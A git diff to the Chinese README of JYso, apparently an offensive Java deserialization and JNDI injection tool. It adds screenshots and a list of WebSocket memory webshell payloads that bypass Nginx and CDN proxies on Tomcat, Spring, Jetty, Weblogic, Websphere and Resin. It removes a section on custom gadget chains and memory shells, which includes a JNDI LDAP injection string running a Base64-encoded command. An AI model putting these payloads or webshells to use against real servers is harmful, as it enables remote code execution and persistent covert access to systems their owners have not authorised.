diff --git a/JYso‐CN.md b/JYso‐CN.md index e39b653..ff3a6c1 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -30,8 +30,6 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1 java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456" ``` - - + 对于BCEL这种超长请求,可以从http处取参,来减少请求长度 先发http请求参数,在发jndi payload @@ -453,6 +451,10 @@ WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命 }} ``` +* 效果图 + +![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdownimage.png) + --- 对于Gadget: @@ -629,28 +631,10 @@ BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() | linux
windows | winlinux | sun.awt.X11.AwtGraphicsConfigData
sun.awt.windows.WButtonPeer | windows/linux版本判断 | | | all | | 全部检测 | -## 🐳自定义 -+ 自定义链子 +* 效果图 -在 `com.qi4l.jndi.gadgets` 下新建JAVA文件,并实现接口 ObjectPayload 后在 getObject 方法中编写链子逻辑即可。 -使用 - -``` -{{url - (${jndi:ldap://0.0.0.0:1389/Deserialization/自定义链子的类名/command/Base64/{{base64 - (whoami) - }}}) -}} -``` - -+ 自定义内存马 - -在 `com.qi4l.jndi.template` 下新建 JAVA 文件并将主要实现方法写在静态代码块中。 - -额外方法与 shell 通过 javassist 引入 `com.qi4l.jndi.template.shell.MemShellPayloads`(最小化有效负载的大小) - -使用与上面内存马使用一致 +![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230821090740.png) --- @@ -836,6 +820,13 @@ java -jar JYso-[version].jar -yso 1 -g [payload] -p '[command]' - `EX-MS-TWSMSFromThread` : `CMD` 命令回显 WebSocket 内存马 - `EX-MS-TEXMSFromThread` : `CMD` 命令回显 Executor 内存马 - `EX-MS-TUGMSFromJMXuP` : `CMD` 命令回显 Upgrade 内存马 +- `EX-cmsMSBYNC`: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x` +- `EX-proxyMSBYNC`: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x` +- `EX-WsResin`: 适配 Resin 的 WebSocket 马,请求头中`Upgrade: websocket` +- `EX-MsTSJser`: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/cmd` +- `EX-MsTSJproxy`: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/proxy` +- `EX-WsWeblogic`: 适配 Weblogic 的 WebSocket 马,路径`/path` +- `EX-WSWebsphereProxy`: 适配 Websphere 的 WebSocket 马,路径`/path` 对于一些非常规的环境,本项目还提供了基于 Java 原生的 RMI 内存马及命令回显方式,通过向 RMI 注册中心绑定一个恶意类,可以随时调用执行命令并回显,使用方法例子如下: